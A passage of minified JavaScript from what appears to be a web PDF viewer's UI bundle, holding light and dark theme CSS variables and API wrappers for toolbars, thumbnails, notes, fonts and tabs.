var(--gray-2);\n --toggle-zoom-overlay-background: var(--gray-2);\n --ribbons-background: var(--gray-3);\n --document-background-color: var(--gray-2);\n\n --error-text-color: var(--red);\n --error-border-color: var(--red);\n\n --panel-background: var(--gray-1);\n\n --slider-filled: var(--blue-5);\n --slider-background: var(--gray-4);\n --badge-fill: var(--gray-8);\n --badge-text-color: var(--gray-0);\n --view-header-icon-active-fill: var(--blue-6);\n\n --text-color: var(--gray-8);\n --faded-text: var(--gray-8);\n --placeholder-text: var(--gray-6);\n --ribbon-active-color: var(--blue-7);\n\n --no-presets-text: var(--gray-8);\n --disabled-text: var(--gray-5);\n --disabled-icon: var(--gray-5);\n\n --scroll-chevron-color: var(--gray-6);\n --icon-color: var(--gray-7);\n --selected-icon-color: var(--gray-8);\n\n --view-header-button-hover: var(--blue-1);\n --view-header-button-active: var(--blue-2);\n\n --popup-button-hover: var(--blue-1);\n --popup-button-active: var(--blue-2);\n\n --primary-button: var(--blue-7);\n --primary-button-text: var(--gray-1);\n --primary-button-hover: var(--blue-6);\n\n --secondary-button-text: var(--blue-7);\n --secondary-button-hover: var(--blue-6);\n\n --box-shadow: var(--gray-6);\n --document-box-shadow: var(--gray-7);\n\n --panel-background: var(--gray-1);\n\n --divider: var(--gray-5);\n --side-panel-border: var(--divider);\n --border: var(--gray-5);\n --focus-border: var(--blue-5);\n --color-palette-border: var(--gray-8);\n\n --modal-negative-space: rgba(0, 0, 0, 0.3);\n --spinner-negative-space: rgba(0, 0, 0, 0.3);\n\n --white-color-palette-border: var(--border);\n\n --list-separator-color: var(--gray-8);\n --scrollbar-color: var(--gray-6);\n --note-box-shadow: var(--box-shadow);\n\n --tools-header-background: var(--gray-3);\n --view-header-background: var(--gray-1);\n --tools-overlay-background: var(--gray-0);\n\n --tools-button-hover: var(--blue-3);\n --tools-button-active: var(--blue-4);\n\n --tools-overlay-button-hover: var(--blue-1);\n --tools-overlay-button-active: var(--blue-2);\n\n --outline-color: var(--blue-7);\n --outline-hover: var(--blue-1);\n\n --preset-background: var(--gray-1);\n}\n":":root {\n --blue-1: #E7EDF3;\n --blue-2: #DDE6EE;\n --blue-3: #CFD8E0;\n --blue-4: #C7D2DD;\n --blue-5: #3183C8;\n --blue-6: #1A4971;\n\n --gray-0: #FFFFFF;\n --gray-1: #F8F9FA;\n --gray-2: #F1F3F5;\n --gray-3: #E7EBEE;\n --gray-4: #DEE2E6;\n --gray-5: #CFD4DA;\n --gray-6: #ADB5BD;\n --gray-7: #868E96;\n --gray-8: #485056;\n --gray-9: #343A40;\n --gray-10: #21242A;\n --gray-11: #101214;\n --gray-12: #000000;\n\n --yellow-1: #FACE0080;\n --red: red;\n\n --component-background: var(--gray-0);\n --mobile-presets-background: var(--gray-1);\n --faded-component-background: var(--gray-2);\n --toggle-zoom-overlay-background: var(--gray-2);\n --ribbons-background: var(--gray-3);\n --document-background-color: var(--gray-2);\n\n --error-text-color: var(--red);\n --error-border-color: var(--red);\n\n --panel-background: var(--gray-1);\n\n --slider-filled: var(--blue-5);\n --slider-background: var(--gray-4);\n --badge-fill: var(--gray-8);\n --badge-text-color: var(--gray-0);\n --view-header-icon-active-fill: var(--blue-6);\n\n --text-color: var(--gray-8);\n --faded-text: var(--gray-7);\n --placeholder-text: var(--gray-6);\n --ribbon-active-color: var(--blue-5);\n\n --no-presets-text: var(--gray-6);\n --disabled-text: var(--gray-5);\n --disabled-icon: var(--gray-5);\n\n --scroll-chevron-color: var(--gray-6);\n --icon-color: var(--gray-7);\n --selected-icon-color: var(--gray-8);\n\n --view-header-button-hover: var(--blue-1);\n --view-header-button-active: var(--blue-2);\n\n --popup-button-hover: var(--blue-1);\n --popup-button-active: var(--blue-2);\n\n --primary-button: var(--blue-5);\n --primary-button-text: var(--gray-1);\n --primary-button-hover: var(--blue-6);\n\n --secondary-button-text: var(--blue-5);\n --secondary-button-hover: var(--blue-6);\n\n --box-shadow: var(--gray-6);\n --document-box-shadow: var(--gray-7);\n\n --panel-background: var(--gray-1);\n\n --divider: var(--gray-5);\n --reply-divider: var(--gray-3);\n --side-panel-border: var(--divider);\n --border: var(--gray-5);\n --focus-border: var(--blue-5);\n --color-palette-border: var(--gray-8);\n\n --image-signature-drop-background: var(--blue-1);\n --image-signature-drop-border: var(--blue-5);\n --signature-draw-background: var(--gray-2);\n --modal-stroke-and-border: var(--gray-5);\n --modal-negative-space: rgba(0, 0, 0, 0.3);\n --spinner-negative-space: rgba(0, 0, 0, 0.3);\n\n --white-color-palette-border: var(--border);\n\n --list-separator-color: var(--gray-7);\n --scrollbar-color: var(--gray-6);\n --note-box-shadow: var(--gray-7);\n --note-box-shadow-expanded: rgba(134, 142, 150, 0.24);\n\n\n --tools-header-background: var(--gray-3);\n --view-header-background: var(--gray-1);\n --tools-overlay-background: var(--gray-0);\n\n --tools-button-hover: var(--blue-3);\n --tools-button-active: var(--blue-4);\n\n --tools-overlay-button-hover: var(--blue-1);\n --tools-overlay-button-active: var(--blue-2);\n\n --outline-color: var(--blue-5);\n --outline-hover: var(--gray-2);\n --outline-selected: var(--blue-1);\n\n --preset-background: var(--gray-1);\n}\n"):e===VP.DARK&&A8(t?":root {\n --blue-1: #192530;\n --blue-2: #1B2B3A;\n --blue-3: #334250;\n --blue-4: #334758;\n --blue-5: #1A4971;\n --blue-6: #3183C8;\n --blue-7: #7FB7EB;\n\n --gray-0: #000000;\n --gray-1: #16181C;\n --gray-2: #21242A;\n --gray-3: #343A40;\n --gray-4: #485056;\n --gray-5: #868E96;\n --gray-6: #ADB5BD;\n --gray-7: #CFD4DA;\n --gray-8: #DEE2E6;\n --gray-9: #E7EBEE;\n --gray-10: #F1F3F5;\n --gray-11: #F8F9FA;\n --gray-12: #FFFFFF;\n\n --yellow-1: #e1b90080;\n --red: red;\n\n --panel-background: var(--gray-3);\n --faded-component-background: var(--gray-1);\n --signature-draw-background: var(--gray-3);\n --toggle-zoom-overlay-background: var(--gray-4);\n --component-background: var(--gray-2);\n --mobile-tool-style-popup: var(--gray-3);\n --preset-background: var(--gray-3);\n --mobile-divider: var(--gray-7);\n --mobile-presets-background: var(--gray-3);\n\n --error-text-color: var(--red);\n --error-border-color: var(--red);\n\n --ribbons-background: var(--gray-1);\n --box-shadow: var(--gray-5);\n --document-box-shadow: var(--gray-5);\n --focus-border: var(--blue-6);\n\n --scroll-chevron-color: var(--gray-5);\n --icon-color: var(--gray-6);\n --faded-text: var(--gray-8);\n --text-color: var(--gray-11);\n --placeholder-text: var(--gray-5);\n --ribbon-active-color: var(--blue-7);\n\n --no-presets-text: var(--gray-8);\n --disabled-text: var(--gray-4);\n --disabled-icon: var(--gray-4);\n\n --slider-filled: var(--blue-6);\n --slider-background: var(--gray-4);\n --badge-fill: var(--gray-4);\n --badge-text-color: var(--gray-12);\n --primary-button: var(--blue-5);\n --primary-button-text: var(--gray-11);\n --secondary-button-text: var(--blue-7);\n --divider: var(--gray-4);\n --side-panel-border: var(--panel-background);\n --border: var(--gray-4);\n --selected-icon-color: var(--gray-8);\n --view-header-icon-active-fill: var(--gray-10);\n --document-background-color: var(--gray-2);\n\n --view-header-button-hover: var(--blue-3);\n --view-header-button-active: var(--blue-4);\n\n --popup-button-hover: var(--blue-3);\n --popup-button-active: var(--blue-4);\n\n --primary-button-hover: var(--blue-6);\n --secondary-button-hover: var(--blue-6);\n\n --color-palette-border: var(--gray-7);\n\n --modal-negative-space: rgba(0, 0, 0, 0.3);\n --spinner-negative-space: rgba(0, 0, 0, 0.3);\n\n --white-color-palette-border: transparent;\n\n --list-separator-color: var(--gray-8);\n --scrollbar-color: var(--gray-5);\n --note-box-shadow: transparent;\n\n --tools-header-background: var(--gray-1);\n --view-header-background: var(--gray-3);\n --tools-overlay-background: var(--gray-2);\n\n\n --tools-button-hover: var(--blue-1);\n --tools-button-active: var(--blue-2);\n\n --tools-overlay-button-hover: var(--blue-3);\n --tools-overlay-button-active: var(--blue-4);\n\n --outline-color: var(--blue-7);\n --outline-hover: var(--blue-3);\n}\n":":root {\n --blue-1: #192530;\n --blue-2: #1B2B3A;\n --blue-3: #334250;\n --blue-4: #334758;\n --blue-5: #1A4971;\n --blue-6: #3183C8;\n\n --gray-0: #000000;\n --gray-1: #16181C;\n --gray-2: #21242A;\n --gray-3: #343A40;\n --gray-4: #485056;\n --gray-5: #868E96;\n --gray-6: #ADB5BD;\n --gray-7: #CFD4DA;\n --gray-8: #DEE2E6;\n --gray-9: #E7EBEE;\n --gray-10: #F1F3F5;\n --gray-11: #F8F9FA;\n --gray-12: #FFFFFF;\n\n --yellow-1: #e1b90080;\n --red: red;\n\n --panel-background: var(--gray-3);\n --faded-component-background: var(--gray-1);\n --toggle-zoom-overlay-background: var(--gray-4);\n --component-background: var(--gray-2);\n --mobile-tool-style-popup: var(--gray-3);\n --preset-background: var(--gray-3);\n --mobile-divider: var(--gray-7);\n --mobile-presets-background: var(--gray-3);\n\n --error-text-color: var(--red);\n --error-border-color: var(--red);\n\n --ribbons-background: var(--gray-2);\n --box-shadow: var(--gray-5);\n --document-box-shadow: var(--gray-5);\n --focus-border: var(--blue-6);\n\n --scroll-chevron-color: var(--gray-5);\n --icon-color: var(--gray-6);\n --faded-text: var(--gray-6);\n --text-color: var(--gray-11);\n --placeholder-text: var(--gray-5);\n --ribbon-active-color: var(--blue-6);\n\n --no-presets-text: var(--gray-6);\n --disabled-text: var(--gray-4);\n --disabled-icon: var(--gray-4);\n\n --slider-filled: var(--blue-6);\n --slider-background: var(--gray-4);\n --badge-fill: var(--gray-4);\n --badge-text-color: var(--gray-12);\n --primary-button: var(--blue-6);\n --primary-button-text: var(--gray-11);\n --secondary-button-text: var(--blue-6);\n --divider: var(--gray-4);\n --side-panel-border: var(--panel-background);\n --border: var(--gray-4);\n --selected-icon-color: var(--gray-8);\n --view-header-icon-active-fill: var(--gray-10);\n --document-background-color: var(--gray-2);\n\n --view-header-button-hover: var(--blue-3);\n --view-header-button-active: var(--blue-4);\n\n --popup-button-hover: var(--blue-3);\n --popup-button-active: var(--blue-4);\n\n --primary-button-hover: var(--blue-5);\n --secondary-button-hover: var(--blue-5);\n\n --color-palette-border: var(--gray-7);\n\n --image-signature-drop-background: var(--blue-1);\n --image-signature-drop-border: var(--blue-6);\n --signature-draw-background: var(--gray-3);\n --modal-stroke-and-border: var(--gray-4);\n --modal-negative-space: rgba(0, 0, 0, 0.3);\n --spinner-negative-space: rgba(0, 0, 0, 0.3);\n\n --white-color-palette-border: transparent;\n\n --list-separator-color: var(--gray-7);\n --scrollbar-color: var(--gray-5);\n --note-box-shadow: var(--gray-2);\n --note-box-shadow-expanded: var(--gray-2);\n\n --tools-header-background: var(--gray-1);\n --view-header-background: var(--gray-3);\n --tools-overlay-background: var(--gray-2);\n\n\n --tools-button-hover: var(--blue-1);\n --tools-button-active: var(--blue-2);\n\n --tools-overlay-button-hover: var(--blue-3);\n --tools-overlay-button-active: var(--blue-4);\n\n --outline-color: var(--blue-6);\n --outline-hover: var(--blue-3);\n --outline-selected: var(--blue-3);\n}\n"),x8({})},T8=function(e){return function(t){var n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];e.dispatch(Ps.setToolbarGroup(t,n))}};function k8(e){return function(e){if(Array.isArray(e))return P8(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return P8(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return P8(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function P8(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var M8=function(e){return function(t){var n=e.getState();t.useDefaultElements&&(t.children=[{type:"spacer"}].concat(k8(t.children),[{type:"divider"},R1,j1,{type:"toolButton",toolName:"AnnotationEraserTool"},{type:"spacer",hidden:["tablet","mobile","small-mobile"]}])),n.viewer.headers["toolbarGroup-".concat(t.dataElementSuffix)]=t}},R8=function(e){(e=kw(e))?vt.zoomTo(e):console.warn("Type of the argument for setZoomLevel must be either string or number")},j8=function(e){return function(t){e.dispatch(Ps.setZoomList(t))}},L8=function(e){return function(t){console.warn("Deprecated since version 8.0. Please use displayErrorMessage instead"),e.dispatch(Ps.showErrorMessage(t))}},I8=function(e){return function(){e.dispatch(Ps.setOutlineControlVisibility(!0))}},N8=function(e){return function(t){e.dispatch(Ps.showWarningMessage(t))}},D8=function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];var o=[window.instance].concat(n);e||(e=window.instance);var i=e,a=i.PDFNet,l=i.Actions,s=i.Annotations,u=i.Math,c=i.Tools;o.forEach((function(t){t&&t!==e&&(vt.syncNamespaces(e),a&&(t.Core.PDFNet=a,t.CoreControls.PDFNet=t.PDFNet=a),l&&(t.Core.Actions=l,t.CoreControls.Actions=t.Actions=l),s&&(t.Core.Annotations=s,t.CoreControls.Annotations=t.Annotations=s),u&&(t.Core.Math=u,t.CoreControls.Math=t.Math=u),c&&(t.Core.Tools=c,t.CoreControls.Tools=t.Tools=c))}))},F8=function(e){return $2(e,"textPopup")},B8=function(e){return function(t){console.warn("Deprecated since version 8.0. Please use toggleElementVisibility instead"),e.dispatch(Ps.toggleElement(t))}},H8=function(){Zh()},V8=function(e){return function(t){z8(e,t),U8(e,t),G8(t)}},z8=function(e,t){var n=e.getState();Object.keys(n.viewer.headers).forEach((function(r){var o=n.viewer.headers[r].filter((function(e){return e.toolName!==t}));e.dispatch(Ps.setHeaderItems(r,o))}))},U8=function(e,t){e.dispatch(Ps.unregisterTool(t))},G8=function(e){delete vt.getToolModeMap()[e]};function W8(e){return(W8="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var q8=function(e){return function(t,n){switch(t){case"colorPalette":i5(e)(n);break;default:Z8(n)&&e.dispatch(Ps.setCustomElementOverrides(t,n))}}},Z8=function(e){return null!==e&&"object"!==W8(e)?console.warn("The second argument needs to be an object to update a button"):e},Y8=function(e){return function(){console.warn("UI.updateOutlines is deprecated since version 8.3. Please use reloadOutline instead"),vt.getOutlines((function(t){e.dispatch(Ps.setOutlines(t))}))}},$8=function(e){return function(t,n){e.dispatch({type:"UPDATE_TOOL",payload:{toolName:t,properties:n}})}},K8=function(e){return function(t){e.dispatch(Ps.useEmbeddedPrint(t))}},X8=function(e){console.warn("Deprecated since version 8.0. Please use enableNativeScrolling and disableNativeScrolling instead"),Gp.useNativeScroll=e},Q8=function(e){return function(t){e.dispatch(Ps.setDisplayedSignaturesFilterFunction(t))}},J8=function(e){return function(t){var n=t.from,r=t.to,o=e.getState().viewer.measurementUnits;n||(n=o.from),r||(r=o.to),e.dispatch({type:"SET_MEASUREMENT_UNITS",payload:{from:n,to:r}})}},e6=function(e){return function(t){e.dispatch(Ps.setMaxSignaturesCount(t))}},t6=function(e){return function(t){var n;("string"==typeof t&&(n=[t]),Array.isArray(t)&&(n=t),"function"==typeof t)&&(n=t(fi.getSignatureFonts(e.getState())));n&&e.dispatch({type:"SET_SIGNATURE_FONTS",payload:{signatureFonts:n}})}},n6=function(e){return function(t){e.dispatch(Ps.disableReplyForAnnotations(t))}},r6=function(){return lh("custom",null)},o6=function(e){return function(t){e.dispatch(Ps.setCustomMeasurementOverlay(t))}},i6=function(e){return function(t){e.dispatch(Ps.setNoteTransformFunction(t))}},a6=function(e){return function(t){e.dispatch(Ps.setCustomNoteSelectionFunction(t))}},l6=function(e){return function(t){e.dispatch(Ps.setCustomApplyRedactionsHandler(t))}};function s6(e){return function(e){if(Array.isArray(e))return u6(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return u6(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return u6(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u6(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var c6=function(e){return function(t){console.warn("UI.selectThumbnailPages is deprecated since version 8.5. Please use UI.ThumbnailsPanel.selectPages instead");var n=fi.getSelectedThumbnailPageIndexes(e.getState()),r=n.map((function(e){return e+1})),o=vt.getTotalPages();if(fi.isThumbnailMultiselectEnabled(e.getState()))if(t&&Array.isArray(t)){var i=t.filter((function(e){return r.includes(e)}));i.length&&console.warn("The following pages were already selected: ".concat(i.join(", ")));var a=t.filter((function(e){return e<1||e>o}));a.length&&console.warn("The following pages are out of range: ".concat(a.join(", ")));var l=t.filter((function(e){return e>=1&&e<=o&&!r.includes(e)&&!isNaN(e)}));l=l.filter((function(e,t,n){return n.indexOf(e)===t})),e.dispatch(Ps.setSelectedPageThumbnails([].concat(s6(n),s6(l.map((function(e){return e-1}))))))}else console.warn("Invalid input, 'selectThumbnailPages' expect an array of numbers");else console.warn("Thumbnail multiselect is not enabled")}},f6=function(e){return function(t){console.warn("UI.unselectThumbnailPages is deprecated since version 8.5. Please use UI.ThumbnailsPanel.unselectPages instead");var n=fi.getSelectedThumbnailPageIndexes(e.getState());t&&Array.isArray(t)?e.dispatch(Ps.setSelectedPageThumbnails(n.filter((function(e){return!t.includes(e+1)})))):console.warn("Invalid input, 'unselectThumbnailPages' expect an array of numbers")}},d6=function(e){vt.clearSearchResults(),vt.displayAdditionalSearchResults(e)},p6=function(e,t){if(!e&&t>=0){var n=vt.getPageSearchResults()[t];n&&vt.setActiveSearchResult(n)}else vt.setActiveSearchResult(e)},h6=function(e){return function(t){e.dispatch(Ps.setAnnotationContentOverlayHandler(t))}};function m6(e){!function(e){Ij=e}(e)}var g6={getPageNavOverlay:function(){return s.a.createElement(mg,{dataElement:"customPageNavOverlay"})}},v6=function(e){return function(t){e.dispatch(Ps.addTrustedCertificates(t))}},y6=function(e){return function(t){e.dispatch(Ps.addTrustList(t))}},b6=function(e){return function(){e.dispatch(Ps.setNotesPanelTextCollapsing(!0))}},w6=function(e){return function(){e.dispatch(Ps.setNotesPanelTextCollapsing(!1))}},E6=function(e){return function(){e.dispatch(Ps.setNotesPanelRepliesCollapsing(!0))}},S6=function(e){return function(){e.dispatch(Ps.setNotesPanelRepliesCollapsing(!1))}},C6=function(e){return function(){e.dispatch(Ps.setCommentThreadExpansion(!1))}},x6=function(e){return function(){e.dispatch(Ps.setCommentThreadExpansion(!0))}};function O6(e){return function(e){if(Array.isArray(e))return A6(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return A6(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return A6(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function A6(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var _6,T6=function(e){return function(){e.dispatch(Ps.setThumbnailSelectingPages(!0))}},k6=function(e){return function(){e.dispatch(Ps.setThumbnailSelectingPages(!1))}},P6=function(e){return function(t){if(fi.isThumbnailMultiselectEnabled(e.getState()))if(t&&Array.isArray(t)){var n=fi.getSelectedThumbnailPageIndexes(e.getState()),r=n.map((function(e){return e+1})),o=vt.getTotalPages(),i=t.filter((function(e){return r.includes(e)}));i.length&&console.warn("The following pages were already selected: ".concat(i.join(", ")));var a=t.filter((function(e){return e<1||e>o}));a.length&&console.warn("The following pages are out of range: ".concat(a.join(", ")));var l=t.filter((function(e){return e>=1&&e<=o&&!r.includes(e)&&!isNaN(e)}));l=l.filter((function(e,t,n){return n.indexOf(e)===t})),e.dispatch(Ps.setSelectedPageThumbnails([].concat(O6(n),O6(l.map((function(e){return e-1}))))))}else console.warn("Invalid input, 'selectThumbnailPages' expect an array of numbers");else console.warn("Thumbnail multiselect is not enabled")}},M6=function(e){return function(){e.dispatch(Ps.setNotesPanelRepliesCollapsing(!1))}},R6=function(e){return function(){return fi.getSelectedThumbnailPageIndexes(e.getState()).map((function(e){return e+1}))}},j6=function(e){return function(t){Object.values(wO).indexOf(t)>-1?e.dispatch(Ps.setThumbnailSelectionMode(t)):console.error('Thumbnail Selection Mode must be one of: "'.concat(Object.values(wO).join('", "'),'"'))}},L6=function(e){return function(){fi.isReaderMode(e.getState())?(Bh(e),_6&&setTimeout((function(){vt.setDisplayMode(_6),_6=void 0}))):(_6=vt.getDisplayMode(),Fh(e))}},I6=function(e){return function(t){e.dispatch(Ps.toggleElement(t))}},N6=function(e){return function(t){var n=t.isRead,r=t.annotationId;"string"==typeof r?e.dispatch(Ps.setAnnotationReadState({isRead:n,annotationId:r})):console.warn("Invalid annotation ID")}},D6=function(e){return function(t){if("string"==typeof t){if(!vt.getAnnotationManager().getAnnotationById(t))throw new Error("Annotation with ID ".concat(t," not found."));return fi.getUnreadAnnotationIdSet(e.getState()).has(t)}console.warn("Invalid annotation ID")}};var F6=function(e){return function(){e.dispatch(Ps.setClearSearchOnPanelClose(!0))}};var B6=function(e){return function(){e.dispatch(Ps.setClearSearchOnPanelClose(!1))}},H6=function(e){return function(){return e.dispatch(Ps.disableFadePageNavigationComponent())}},V6=function(e){return function(){return e.dispatch(Ps.enableFadePageNavigationComponent())}};var z6=function(e){return function(){e.dispatch(Ps.disablePageDeletionConfirmationModal())}};var U6=function(e){return function(){e.dispatch(Ps.enablePageDeletionConfirmationModal())}},G6=function(e,t){e===Ht.FINISHED_SAVING_PDF&&console.warn("FINISHED_SAVING_PDF is deprecated since version 8.3. Please use FILE_DOWNLOADED instead."),window.addEventListener(e,t)},W6=function(e,t){window.removeEventListener(e,t)},q6=function(e){return function(){e.dispatch(Ps.setEnableDesktopOnlyMode(!0))}},Z6=function(e){return function(){e.dispatch(Ps.setEnableDesktopOnlyMode(!1))}},Y6=function(e){return function(){return fi.isInDesktopOnlyMode(e.getState())}};function $6(e){return function(e){if(Array.isArray(e))return K6(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return K6(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return K6(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function K6(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var X6=function(e){return Object.create(Q6).initialize(e)},Q6={initialize:function(e){return this.store=e,this},add:function(e,t){if(e&&0!==e.length){Array.isArray(e)||(e=[e]);var n=this._getIndexByDataElement(t),r=this.getItems();return r.splice.apply(r,[n+1,0].concat($6(e))),this.store.dispatch(Ps.setPageManipulationOverlayItems(r)),this}},update:function(e){return e||(e=[]),this.store.dispatch(Ps.setPageManipulationOverlayItems(e)),this},getItems:function(){return $6(fi.getPageManipulationOverlayItems(this.store.getState()))},_getIndexByDataElement:function(e){var t;if(void 0===e)t=-1;else{var n=this.store.getState();t=fi.getPageManipulationOverlayItems(n).findIndex((function(t){return t.dataElement===e}))}return t}};function J6(e){return function(e){if(Array.isArray(e))return e9(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return e9(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return e9(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function e9(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var t9=function(e){return Object.create(n9).initialize(e)},n9={initialize:function(e){return this.store=e,this},add:function(e,t){if(e&&0!==e.length){Array.isArray(e)||(e=[e]);var n=this._getIndexByDataElement(t),r=this.getItems();return r.splice.apply(r,[n+1,0].concat(J6(e))),this.store.dispatch(Ps.setThumbnailControlMenuItems(r)),this}},update:function(e){return e||(e=[]),this.store.dispatch(Ps.setThumbnailControlMenuItems(e)),this},getItems:function(){return J6(fi.getThumbnailControlMenuItems(this.store.getState()))},_getIndexByDataElement:function(e){var t;if(void 0===e)t=-1;else{var n=this.store.getState();t=fi.getThumbnailControlMenuItems(n).findIndex((function(t){return t.dataElement===e}))}return t}},r9=function(e){return function(){return fi.getWatermarkModalOptions(e.getState())}},o9=function(e){return function(){e.dispatch(Ps.setNoteSubmissionEnabledWithEnter(!0))}},i9=function(e){return function(){return!!fi.isEmbedPrintSupported(e.getState())}},a9=function(e){return function(){vt.getOutlines((function(t){e.dispatch(Ps.setOutlines(t))}))}};function l9(e){return function(e){if(Array.isArray(e))return s9(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return s9(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return s9(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function s9(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var u9=function(e){return Object.create(c9).initialize(e)},c9={initialize:function(e){return this.store=e,this},getAnnotationFonts:function(){return l9(fi.getFonts(this.store.getState()))},addAnnotationFont:function(e){if("string"!=typeof e)throw new Error("Font must be a string");var t=fi.getFonts(this.store.getState());if(-1!==t.indexOf(e))return console.warn("Font already added");t.push(e),this.store.dispatch(Ps.setFonts(t))},removeAnnotationFont:function(e){var t=fi.getFonts(this.store.getState()),n=t.indexOf(e);if(-1===n)return console.warn("Font not found");t.splice(n,1),this.store.dispatch(Ps.setFonts(t))},setAnnotationFonts:function(e){this.store.dispatch(Ps.setFonts(e))},getSignatureFonts:function(){return l9(fi.getSignatureFonts(this.store.getState()))},addSignatureFont:function(e){if("string"!=typeof e)throw new Error("Font must be a string");var t=fi.getSignatureFonts(this.store.getState());if(-1!==t.indexOf(e))return console.warn("Font already added");t.push(e),this.store.dispatch({type:"SET_SIGNATURE_FONTS",payload:{signatureFonts:t}})},removeSignatureFont:function(e){var t=fi.getSignatureFonts(this.store.getState()),n=t.indexOf(e);if(-1===n)return console.warn("Font not found");t.splice(n,1),this.store.dispatch({type:"SET_SIGNATURE_FONTS",payload:{signatureFonts:t}})},setSignatureFonts:function(e){this.store.dispatch({type:"SET_SIGNATURE_FONTS",payload:{signatureFonts:e}})}};function f9(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function d9(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){f9(i,r,o,a,l,"next",e)}function l(e){f9(i,r,o,a,l,"throw",e)}a(void 0)}))}}var p9=function(e){return Object.create(h9).initialize(e)},h9={initialize:function(e){return this.store=e,this},setActiveTab:function(e){var t=arguments,n=this;return d9(regeneratorRuntime.mark((function r(){var o,i;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return o=!(t.length>1&&void 0!==t[1])||t[1],i=fi.getTabManager(n.store.getState()),r.next=4,i.setActiveTab(e,o);case 4:case"end":return r.stop()}}),r)})))()},deleteTab:function(e){fi.getTabManager(this.store.getState()).deleteTab(e)},addTab:function(e,t){var n=this;return d9(regeneratorRuntime.mark((function r(){var o;return regeneratorRuntime.wrap((function(r){for(;;)switch(r.prev=r.next){case 0:return o=fi.getTabManager(n.store.getState()),r.abrupt("return",o.addTab(e,t));case 2:case"end":return r.stop()}}),r)})))()},getActiveTab:function(){var e=this.store.getState(),t=fi.getActiveTab(e),n=fi.getTabs(e).find((function(e){return e.id===t}));return{id:n.id,options:n.options,src:n.src}},getAllTabs:function(){return fi.getTabManager(this.store.getState()).map((function(e){return{id:e.id,options:e.options,src:e.src}}))}},m9=function(e){return function(t,n){e.dispatch(Ps.replaceRedactionSearchPattern(t,n))}};function g9(e,t){var n="undefined"!=typeof 